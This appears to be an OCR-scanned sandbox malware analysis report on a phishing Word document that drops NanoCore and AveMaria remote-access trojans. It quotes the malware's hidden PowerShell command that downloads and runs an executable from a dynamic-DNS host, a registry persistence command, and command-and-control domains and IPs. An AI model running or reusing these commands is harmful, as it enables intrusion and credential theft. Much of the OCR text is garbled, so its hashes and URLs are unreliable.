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HTTP Packets

Code Manipulations

Statistics
Behavior

System Behavior
Analysis Process: WINWORD.EXE PID: 2604 Parent PID: 584

General

File Activities
File Created
File Deleted
File Read

Registry Activities
Key Created
Key Value Created
Key Value Modified
Analysis Process: powershell.exe PID: 2396 Parent PID: 2604
General
File Activities
File Created
File Written
File Read
Registry Activities
Analysis Process: FLTLDR.EXE PID: 3048 Parent PID: 2604
General
File Activities
File Read
Analysis Process: powershell.exe PID: 1068 Parent PID: 2604
General
File Activities
File Written
File Read
Analysis Process: powershell.exe PID: 3056 Parent PID: 2604
General
File Activities
File Read
Analysis Process: putty.exe PID: 2952 Parent PID: 1068
General
File Activities
File Read
Registry Activities
Analysis Process: putty.exe PID: 2948 Parent PID: 3056
General
File Activities
File Read
Analysis Process: putty.exe PID: 1492 Parent PID: 2948

General

Analysis Process: putty.exe PID: 2308 Parent PID: 2952
General
File Activities
File Created
File Written
File Read
Registry Activities
Key Created
Key Value Created

Analysis Process: putty.exe PID: 2260 Parent PID: 2948

General

Analysis Process: putty.exe PID: 2428 Parent PID: 2948
General

Analysis Process: cmd.exe PID: 2156 Parent PID: 2308
General

Analysis Process: images.exe PID: 2168 Parent PID: 2308
General

Analysis Process: reg.exe PID: 2400 Parent PID: 2156
General

Analysis Process: verclsid.exe PID: 1900 Parent PID: 2604
General

Analysis Process: images.exe PID: 2820 Parent PID: 2168
General

Analysis Process: notepad.exe PID: 2416 Parent PID: 2604
General

Analysis Process: cmd.exe PID: 912 Parent PID: 2820
General

Analysis Process: iBCrDCK.i.exe PID: 2340 Parent PID: 2820
General

Analysis Process: drvinst.exe PID: 1464 Parent PID: 584
General

Analysis Process: rdpdr.sys PID: 4 Parent PID: -1
General

Analysis Process: tdtcp.sys PID: 4 Parent PID: -1
General

Analysis Process: tssecsrv.sys PID: 4 Parent PID: -1
General

Analysis Process: RDPWD.SYS PID: 4 Parent PID: -1
General

Analysis Process: iBCrDCK.i.exe PID: 2260 Parent PID: 2340
General

Analysis Process: iBCrDCK.i.exe PID: 2428 Parent PID: 2340
General

Disassembly
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Windows Analysis Report NEW P01100372954 -.doc

Overview

General Information Detection Signatures Classification
Sample NEW P0O1100372954 -

Name: doc MALICIOUS Antivirus detection for URL or. domain

Analysis ID: 457815

Document exploit detected (creates ...

MD5: .
afe48e30fcfl2c. .. Document exploit detected (drops P...
SHA1L:
2ded99867dsb3e.. Malicious sample detected (through ...
SHA256: ecef57afce8a7ds..
Multi AV Scanner detection for dropp...
Tags: doc
Multi AV Scanner detection for subm...
Infos:

Most interesting Screenshot:

Process Tree

fiB Qb

A
-y NanoCore AveMaria

Office document tries to convince Vvi...
Sigma detected: NanoCore

Sigma detected: Powershell downloa...

Score: 100 Snort IDS alert for network traffic (e....
Range: 0-100 Yara detected AntiVM3
Whitelisted: false

X Yara detected AveMaria stealer
Confidence: 100%

= System is w7x64

. WINWORD.EXE (PID: 2604 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

.

.

(B

&3 powershell.exe (PID: 2396 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -Nonl -W Hidden -ExecutionPolicy bypass -NoLogo -command
‘(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\App
Data\Roaming\putty.exe" MD5: 852D67A27E454BD389FA7F02A8CBE23F)
[ FLTLDR.EXE (PID: 3048 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE' C:\Program Files\Common Files\Microsoft Shared\GRPH
FLT\PNG32.FLT MD5: AF5CCD95BAC7ADADD56DE185D7461B2C)
ks powershell.exe (PID: 1068 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe’ -NoP -sta -Nonl -W Hidden -ExecutionPolicy bypass -NoLogo -command
‘(New-Object System.Net.WebClient).DownloadFile(‘httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe'); Start-Process 'C:\Users\user\App
Data\Roaming\putty.exe" MD5: 852D67A27E454BD389FA7F02A8CBE23F)
e [B putty.exe (PID: 2952 cmdline: 'C:\Users\user\AppData\Roaming\putty.exe’ MD5: 0CFE251E0B61BBC87656F52DEFADACS3)
o [B putty.exe (PID: 2308 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: 0CFE251E0B61BBC87656F52DEFAD4CS3)
. cmd.exe (PID: 2156 cmdline: cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramDatal\i
mages.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)
e [B reg.exe (PID: 2400 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t REG_SZ /d 'C:\ProgramData\im
ages.exe' MD5: D69A9ABBBOD795F21995C2F48C1EB560)
o [B] images.exe (PID: 2168 cmdline: C:\ProgramData\images.exe MD5: 0CFE251E0B61BBC87656F52DEFADACS53)
o [B] images.exe (PID: 2820 cmdline: C:\ProgramData\images.exe MD5: 0CFE251E0B61BBC87656F52DEFADACS3)
. cmd.exe (PID: 912 cmdline: C:\Windows\System32\cmd.exe MD5: AD7B9C14083B52BC532FBA5948342B98)
. O iBCrDCK.i.exe (PID: 2340 cmdline: 'C:\Users\user\AppData\Roaming\iBCrDCK.i.exe' MD5: 8FA8F52DFC55D341300EFF8E4C44BA33)
. O iBCrDCK.i.exe (PID: 2260 cmdline: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe MD5: 8FA8F52DFC55D341300EFF8E4C44BA33)
. O IBCrDCK.i.exe (PID: 2428 cmdline: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe MD5: 8FA8F52DFC55D341300EFF8E4C44BA33)
&4 powershell.exe (PID: 3056 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -Nonl -W Hidden -ExecutionPolicy bypass -NoLogo -command
‘(New-Object System.Net.WebClient).DownloadFile(‘httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\App
Data\Roaming\putty.exe" MD5: 852D67A27E454BD389FA7F02A8CBE23F)
o [ putty.exe (PID: 2948 cmdline: 'C:\Users\user\AppData\Roaming\putty.exe’ MD5: 0CFE251E0B61BBC87656F52DEFADA4C53)
e [ putty.exe (PID: 1492 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: 0CFE251E0B61BBC87656F52DEFAD4C53)
e [ putty.exe (PID: 2260 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: 0CFE251E0B61BBC87656F52DEFAD4C53)
e [ putty.exe (PID: 2428 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: 0CFE251E0B61BBC87656F52DEFAD4C53)
[m7 verclsid.exe (PID: 1900 cmdline: 'C:\Windows\system32\verclsid.exe' /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X
0x5 MD5: 3796AE13F680D9239210513EDA590E86)
;] notepad.exe (PID: 2416 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' 'C:\Users\user\AppData\Local\Temp\abdtthghgdghgh .ScT' MD5:
B32189BDFF6E577A92BAA61AD49264E6)
drvinst.exe (PID: 1464 cmdline: Drvinst.exe '1' '200' 'UMB\UMB\1&841921d&0&TERMINPUT_BUS' " " '6e3bed883' '0000000000000000" '000000000000059C" ‘0000000000000600*

MD5: 2DBA1472BDF847EAE358A4B9FA9ABOC1)

(B
(B
(B
(B

O

.

rdpdr.sys (PID: 4 cmdline: MD5: 1B6163C503398B23FF8B939C67747683)

tdtcp.sys (PID: 4 cmdline: MD5: 51C5ECEB1CDEE2468A1748BE550CFBC8)

tssecsrv.sys (PID: 4 cmdline: MD5: 19BEDA57F3EOA06B8D5EB6D619BD5624)

RDPWD.SYS (PID: 4 cmdline: MD5: FE571E088C2D83619D2D48D4E961BF41)

smtpsvc.exe (PID: 2964 cmdline: 'C:\Program Files (x86)\SMTP Service\smtpsvc.exe' MD5: 8FA8F52DFC55D341300EFF8E4C44BA33)
O smtpsvc.exe (PID: 764 cmdline: C:\Program Files (x86)\SMTP Service\smtpsvc.exe MD5: 8FA8F52DFC55D341300EFF8E4C44BA33)

cleanup
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Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source

00000015.00000003.2137169067.00000000006
13000.00000004.00000001.sdmp

00000015.00000003.2137169067.00000000006
13000.00000004.00000001.sdmp

00000022.00000002.2354192632.0000000000A
C0000.00000004.00000001.sdmp

00000022.00000002.2354192632.0000000000A
C0000.00000004.00000001.sdmp

00000022.00000002.2354334039.0000000000C
60000.00000004.00000001.sdmp

Unpacked PEs

Source
34.2.iBCrDCK.i.exe.ch0000.15.raw.unpack

34.2.iBCrDCK.i.exe.ch0000.15.raw.unpack

34.2.iBCrDCK.i.exe.34ffadc.25.unpack

34.2.iBCrDCK.i.exe.34ffadc.25.unpack

34.2.iBCrDCK.i.exe.34ffadc.25.unpack

Sigma Overview

AV Detection:

Sigma detected: NanoCore

E-Banking Fraud:

Rule Description Author
JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer
JoeSecurity_AveMaria Yara detected Joe Security

AveMaria stealer

Nanocore_RAT_Gen_2 Detetcs the Florian Roth
Nanocore RAT

Nanocore_RAT_Feb18 1 Detects Nanocore Florian Roth
RAT

Nanocore_RAT_Gen_2 Detetcs the Florian Roth
Nanocore RAT

Click to see the 90 entries

Rule Description Author

Nanocore_RAT_Gen_2 Detetcs the Florian Roth
Nanocore RAT

Nanocore_RAT_Feb18 1 Detects Nanocore Florian Roth
RAT

Nanocore_RAT_Gen_2 Detetcs the Florian Roth
Nanocore RAT

Nanocore_RAT_Feb18_1 Detects Nanocore Florian Roth
RAT

JoeSecurity_Nanocore Yara detected Joe Security
Nanocore RAT

Click to see the 140 entries

Strings

e 0x5b0b:$x1: NanoCore.ClientPluginHost
e 0x5b44:$x2: IClientNetworkHost

e 0x5b0b:$x2: NanoCore.ClientPluginHost
e 0x5c0f:$s4: PipeCreated
e 0x5b25:$s5: IClientLoggingHost

e 0x5b99:$x1: NanoCore.ClientPluginHost
e 0x5bb3:$x2: IClientNetworkHost

Strings

e 0x350b:$x1: NanoCore.ClientPluginHost
e 0x3525:$x2: IClientNetworkHost

e 0x350b:$x2: NanoCore.ClientPluginHost
e 0x52b6:$s4: PipeCreated
e 0x34f8:$s5: IClientLoggingHost

e 0Oxd9ad:$x1: NanoCore.ClientPluginHost
e 0xd9da:$x2: IClientNetworkHost

e 0Oxd9ad:$x2: NanoCore.ClientPluginHost
e 0Oxea88:$s4: PipeCreated
e 0xd9c7:$s5: IClientLoggingHost

Sigma detected: NanoCore

System Summary:

Sigma detected: Group Modification Logging

Sigma detected: Local User Creation
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Sigma detected: Non Interactive PowerShell

Data Obfuscation:

Sigma detected: Powershell download and execute file

Stealing of Sensitive Information:

Sigma detected: NanoCore

Remote Access Functionality:

Sigma detected: NanoCore

Jbx Signature Overview

/' Click to jump to signature section

AV Detection:

l

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected AveMaria stealer

Yara detected Nanocore RAT

Machine Learning detection for dropped file

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Document exploit detected (process start blacklist hit)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Uses dynamic DNS services

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

E-Banking Fraud:

Yara detected AveMaria stealer

Yara detected Nanocore RAT

System Summary:

ous sample detected (thr community Yara rule)

=
B
=

le ActiveX or Macros)

.NET source code contains very large strings
Found suspicious RTF objects
Microsoft Office creates scripting files
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Data Obfuscation:

‘]

Persistence and Installation Behavior:

‘]

Boot Survival:

=

]‘

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

=

Yara detected AntiVM3

)
2
o]
=]
@
=
z
>
«Q
(2]
<
[}
-
@
3
i)
=
o
-
@
[z}
f=
[=]
=
m
<
Q

Lowering of HIPS | PFW | Operating System Security Settings:

]‘

Stealing of Sensitive Information:

Yara detected AveMaria stealer

Yara detected Nanocore RAT

Remote Access Functionality:

Yara detected AveMaria stealer

Yara detected Nanocore RAT
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Mitre Att&ck Matrix

Initial Access

Valid
Accounts

Default
Accounts

Domain
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Local
Accounts

Cloud
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Replication
Through
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Media

External
Remote
Services

Drive-by
Compromise

Exploit Public-
Facing
Application

Supply Chain
Compromise

Compromise
Software
Dependencies
and
Development
Tools

Compromise
Software
Supply Chain

Execution

Windows
Management
Instrumentation

Scripting

Native API

Shared
Modules

Exploitation for
Client

Execution

Command and
Scripting

Interpreter

Scheduled
Task/Job

Service
Execution
PowerShell

AppleScript

Windows
Command Shell

Unix Shell

Behavior Graph
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Driver

Create
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Archive
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Input

Capture
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Capture

Web Portal
Capture

Credential API
Hooking
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Screen Capture

Exfiltration
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Screenshots

Thumbnails
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Wid9- U= k NEW PO1100372954 - [Compatibility Mode] - Microsoft Word

Insert  Pagelayout  References  Mailings
= ¥ cut . Tam . . — =
Ha copy Times New Rom * |12 A4 A D = ¢ AaBbCeDe AaBbC: AaBbCc AaBbCeDe AaBbCeD
Paste N o g - A- Change
1 Fomatpainter | B 4 U abe X, X - A TNo Spaci.. Heading2 Heading3  Headingé  Heading7 Smﬁgv & seledt -

Clipboard 5| Font | Faragraph Styles |  Editing

I
3¢ Replace

c05Microsoft Office does not work in email Preview.
Please download the document and click Enable Editing when opening.

Page:1of2 | Words: 19 | & |

woosm |
8/2/201

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link
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https://www.metadefender.com/#!/results/file/YnpJeE1EY3hNVEkxVUZOMmMxbHRRd2NPNTlrUnpkZWo/regular/analysis

Source Detection Scanner Label Link

C:\Windows\System32\rfxvmt.dll 0% Metadefender Browse

C:\Windows\System32\rfxvmt.dll 0% ReversingLabs

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fnewhosteeeee.ydns.eu 0% Avira URL Cloud safe
pyhumydrseumicoCexe 0% AV@URLCluwd  maere
http://httP://newhosteeeee.ydns.eu/putty.exePE 0% Avira URL Cloud safe
http://httP://newhosteeeee.ydns.eu/putty.exe 0% Avira URL Cloud safe

http:ifja.com/ 0% Avira URL Cloud safe

http:ifjava.co 0% Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http://httP://newhosteeeee.ydns.eu/p 0% Avira URL Cloud safe
http://httP://newhosteeeee.ydns.eu/putt 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
newhosteeeee.ydns.eu 203.159.80.186 true false high
sdafsdffssffs.ydns.eu 203.159.80.186 true false high
hutyrtit.ydns.eu 203.159.80.165 true false high
hhjhtggfr.duckdns.org 203.159.80.186 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
203.159.80.186 newhosteeeee.ydns.eu Netherlands = 47987 LOVESERVERSGB false
203.159.80.165 hutyrtit.ydns.eu Netherlands = 47987 LOVESERVERSGB false
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https://www.metadefender.com/#!/results/file/bzIxMDEwOHlQSTd2RjloSkJuM3VlN3o5emE/regular/analysis

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 457815
Start date: 02.08.2021
Start time: 10:59:02
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 14m 35s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: NEW P0O1100372954 -.doc
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 33
analysed:
Number of new started drivers analysed: 4
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.phis.troj.spyw.expl.evad.winDOC@45/31@24/2
EGA Information: Failed
HDC Information: e Successful, ratio: 50.5% (good quality ratio 49.5%)

e Quality average: 87.6%
e Quality standard deviation: 20.8%
HCA Information: e Successful, ratio: 99%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .doc

e Found Word or Excel or PowerPoint or XPS Viewer

e Attach to Office via COM

e Active ActiveX Object

e Scroll down

e Close Viewer
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
10:59:41 API Interceptor 69x Sleep call for process: powershell.exe modified
10:59:50 API Interceptor 19x Sleep call for process: putty.exe modified
10:59:59 API Interceptor 1204x Sleep call for process: images.exe modified
11:00:13 API Interceptor 709x Sleep call for process: cmd.exe modified
11:00:16 API Interceptor 983x Sleep call for process: iBCrDCK.i.exe modified
11:00:23 API Interceptor 37x Sleep call for process: drvinst.exe modified
11:00:39 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run SMTP Service C:\Program Files (x86)\SMTP Ser

vice\smtpsvc.exe

11:00:49 API Interceptor 140x Sleep call for process: smtpsvc.exe modified
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Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\user\AppData\Roaming\iBCrDCK.i.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

0

0.0

false

24576:261BQ76DO0Ifx8Dgyfx8Dgz06 ThTZpg72pMNaDuDHQUI3uwDZzGL:0Q76f58Dgy58Dgz06n1pfWNdIJZa
8FA8F52DFC55D341300EFF8E4C44BA33

4FBDB8C39BBC48B159E1F795A2222D51077FDBE9
2C7DA7FF43C90AE620FD5135C2ED34C7E644A9A1098BFB69F1DC6B8AB6410C9A

A29B2B8FCDE4EF5917E6AAD29C547D2FCEF3E452B3ED502788BD5BF7CB2E107C46A12783EBBESEB4AA896C56DFD3FD37C994B67EBS5C8F5CIC32FBA75FEAS
205

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 20%

unknown

C:\Program Files\Microsoft DN1\rdpwrap.ini

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\ProgramData\images.exe

ASCII text, with CRLF line terminators

dropped

181846

5.421809355655133

false
768:WEUfQYczxEQBLWIPUupBdfbQnxJcRZsMFdKlax8Rr/d6gl/+f8jZ0fyL+8F76/:57f6GqZmOc11lvimstY UWN/7
6BC395161B04AA555D5A4E8EB8320020

F18544FAA4BD067F6773A373D580E111B0C8C300
23390DFCDA6G0F292BA1E52ABB5BA2F829335351F4F9B1D33A9A6AD7A9BF5E2BE
679AC80C26422667CA5F2A6DIFOE022EF76BCIB09F97AD390B81F2E286446F0658524CCC8346A6E79D10E42131BC428F7COCE4541D44D83AF8134C499436DAAI
false

unknown
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C:\Program Files\Microsoft DN1\rdpwrap.ini

Preview:

; RDP Wrapper Library configuration..; Do not modify without special knowledge....[Main]..Updated=2020-08-25..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicy
HookNT61=1....[PatchCodes]..nop=90..Zero=00..jmpshort=EB..nopjmp=90E9..CDefPolicy_Query_edx_ecx=BA000100008991200300005E90..CDefPolicy_Query
_eax_rcx_jmp=B80001000089813806000090EB..CDefPolicy_Query_eax_esi=B80001000089862003000090..CDefPolicy_Query_eax_rdi=B8000100008987380600009
0..CDefPolicy_Query_eax_ecx=B80001000089812003000090..CDefPolicy_Query_eax_ecx_jmp=B800010000898120030000EBOE..CDefPolicy_Query_eax_rcx=B800
01000089813806000090..CDefPolicy_Query_edi_rcx=BF0001000089B938060000909090....[SLInit]..bServerSku=1..bRemoteConnAllowed=1..bFUSEnabled=1..
bAppServerAllowed=1..bMultimonAllowed=1..IMaxUserSessions=0..ulMaxDebugSessions=0..bInitialized=1....[SLPolicy].. TerminalServices-RemoteConnectionManager-
AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionM

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\ProgramData\images.exe

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

116736

5.884975745255681

false

3072:m3zxbyHM+TstVfFyov7je9LBMMmMJIDOVYYVs:oMjTiVw2ve9LBMMpJsT
461ADE40B800AEB0A40985594E1AC236
B3892EEF846C044A2B0785D54A432B3E93A968C8
798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FES8A3ACADGEC1199A48DC333B2D8A2
true

e Antivirus: Metadefender, Detection: 20%, Browse
e Antivirus: ReversingLabs, Detection: 43%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\user\AppData\Roaming\putty.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

731648

7.501590274865465

false
12288:hdInZDHQg/eZ0EaMEH+a2C9mIzUewRTCABR4x9kB3AHWMV2h1mFbiwN2:PwO5H+NCI9mIzUewRTCOUIBAPmMY
0CFE251E0B61BBC87656F52DEFAD4CS53

D7126889DC5FFCF23C90FFA19A359060658A0388
DB531D6E969F16A9318224E16A18F3314FA75DOEAADIOFCI9A805F10D098D67C9

85E15BF86BC62BIAES52FACT118A9F54631BA84FDFG0ACB803348813B67E0B4349F82FBF312474879C3DC209E06EC21E8BFACEDF91CA2D3B490270F655BF980
D

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 28%

unknown

.L.IThis program cannot be run in DOS mode....$....... PE.L..F.a........P.. ; @
@..@.rel
(2..*N.(....0....(3

0> K 0.<

C:\Users\user\AppDatal\Local\Microsoft Vision\02-08-2021_11.00.14

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\ProgramData\images.exe

data

dropped

118

3.2566267151938755

false

3:ilsVeJ7Ifo0eF2PNyIRflyQHANYWdI+SIiXIn:iIKSNombQgyWn+Sk1
9DD34F139B8B7D0FC865CDE6027043FB
F9098E55DD0B2F83C8C58E117804F12DCAEASDI3
96BE75D129E470DEEBADASAD99013E91F0454306B24650A6BC043C1B22A40D46

7031A0A6EE90FB6C9725232BEF9EE93574E8DC6A77BODECBC3EF2B7FBB23966E5F3COBCF1AD30C1892B9E8437377A893201B8E10B94763EB34477D13BAD2AL
1

false
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https://www.metadefender.com/#!/results/file/YnpJeE1EY3hNVEkxVUZOMmMxbHRRd2NPNTlrUnpkZWo/regular/analysis

C:\Users\luser\AppData\Local\Microsoft Vision\02-08-2021_11.00.14

Reputation:

Preview:

unknown

.{im.g.s. [.C.omp.atibility..Mo.del]. .- .Mic.r.o.s.0oft .W.o.rd}..L.eft W.ind.ow.s.r.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

|IE Cache URL:

Preview:

C:\ProgramData\images.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

1378816

7.548476087877472

false

24576:261BQ76DO0Ifx8Dgyfx8Dgz06 ThTZpg72pMNaDuDHQUI3uwDZzGL:0Q76f58Dgy58Dgz06n1pfWNdIIZa
8FA8F52DFC55D341300EFF8E4C44BA33

4FBDB8C39BBC48B159E1F795A2222D51077FDBE9
2C7DATFF43C90AE620FD5135C2ED34C7E644A9A1098BFB69F1DCEB8AB6410CIA

A29B2B8FCDE4EF5917E6AAD29C547D2FCEF3E452B3ED502788BD5BF7CB2E107C46A12783EBBESEB4AA896C56DFD3FD37C994B67EBS5C8F5CIC32FBAT5FEAS
205

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 20%

unknown

http://hutyrtit.ydns.eu/microC.exe

..K.O...
. @.B....
.0%...+.%0...........~0&. 450
e %0 & (e 7..p~

(ks .s!
JRURPRT SO o U (OO o & K. ORISR S o MR S

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

IE Cache URL:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

731648

7.501590274865465

false
12288:hdInZDHQg/eZ0EaMEH+a2C9mIzUewRTCABR4x9kB3AHWMV2h1mFbiwN2:PwO5H+NCI9mIzUewRTCOUIBAPmMY
0CFE251E0B61BBC87656F52DEFAD4CS53

D7126889DC5FFCF23C90FFA19A359060658A0388
DB531D6E969F16A9318224E16A18F3314FA75DOEAADIOFCI9A805F10D098D67C9

85E15BF86BC62B9AES52FAC7118A9F54631BA84FDFG0ACB803348813B67E0B4349F82FBF312474879C3DC209E06EC21E8BFACEDF91CA2D3B490270F655BF980
D

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 28%

unknown

http://newhosteeeee.ydns.eu/putty.exe

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\11DB366A.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

370 sysV pure executable

dropped

262160

0.0018414541227182795

false

3:8aB/IYV2HDbIIISI/IHA/IXF4/:zBav27K/

36148DAECIFFIC3487586B72447DAC7B
FEE4FB27C45CE43BDB41BA190FDC11704EC3EA54
E3AC1EOA5DD46E9D605470CBB3C427582A180024754595370A1BCA98031BA426

E41BFECCD86CE8DCCDBCAF3B4068A7D328D91AAB035468201169817660EB539816FA4ADIBB5E60D828C421755D01680B8ADOBAOE6C395973AFFDBDAAEASD!
1FD

false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\11DB366A.png

Preview:
DT T OSSOSO PSSO PP ST P PP SO POPRTPR PR POTTPRTPOOINE

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\9029FF63.wmf

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type: Targa image data - Map - RLE 65536 x 65536 x 0 "\005"
Category: dropped

Size (bytes): 3730

Entropy (8bit):  5.027033050759854

Encrypted: false

SSDEEP: 48:5Wik/UKHI3G6nj6rmbYf3LSrd/I088e0f5aSdJInNk3t1fo:Jk7Hgwj+mbYf3LSrhiOs0f5aSdHN63DA

MDS5: 5648227A1DC795BD5B4961DAD493E795

SHA1L: 1611B47CE3FO0ADOD19EEEOE27AB2CF3A8190B0OD7

SHA-256: 200124261ED676F6C2D812191655E2EC735897137E93ED676BD22ADEE455FCTA

SHA-512: 3714019501B872EC8D514909F21108611A79C65C204C8251F01338CDDF76CB32BFDB2BB1CF3545E0A1D1D88549954F5F7999B9EEOSA053FF73E323560B4FFB14
Malicious: false

Reputation: unknown

Preview:

.................................. S 5€G0€ UL Crti e @ e A i T a(es cet@ s

M".0$.S).0"

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2631CAF7-C3D4-4848-8C82-E142953DDA5E}.tmp
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 44618

Entropy (8bit):  2.916482234929812

Encrypted: false

SSDEEP: 768:Dr/3ViFs0Dgeb4Zep84JtuelvCl19riwzWSgUg4P58F:nFia0DgebOnstw29rVzWSgm58F
MD5: CFD90F1E4A07FBF4850CB646C76COACY9

SHA1L: E9692ED21B6AFE1B5D587ECA5A20330676ED3325

SHA-256: 0989F417091A5262338DEACB63FA9D9129741D9C862B67E6F8060DB43E67BAAE
SHA-512: 53383F93D07DDE48873F5CA2069F1F653723B20BC7BC51C78530B628764243C2622E54C0545D83D14AEAC0521F018EBE490A20F1DB63446EA70943871A541A86
Malicious: false

Reputation: unknown

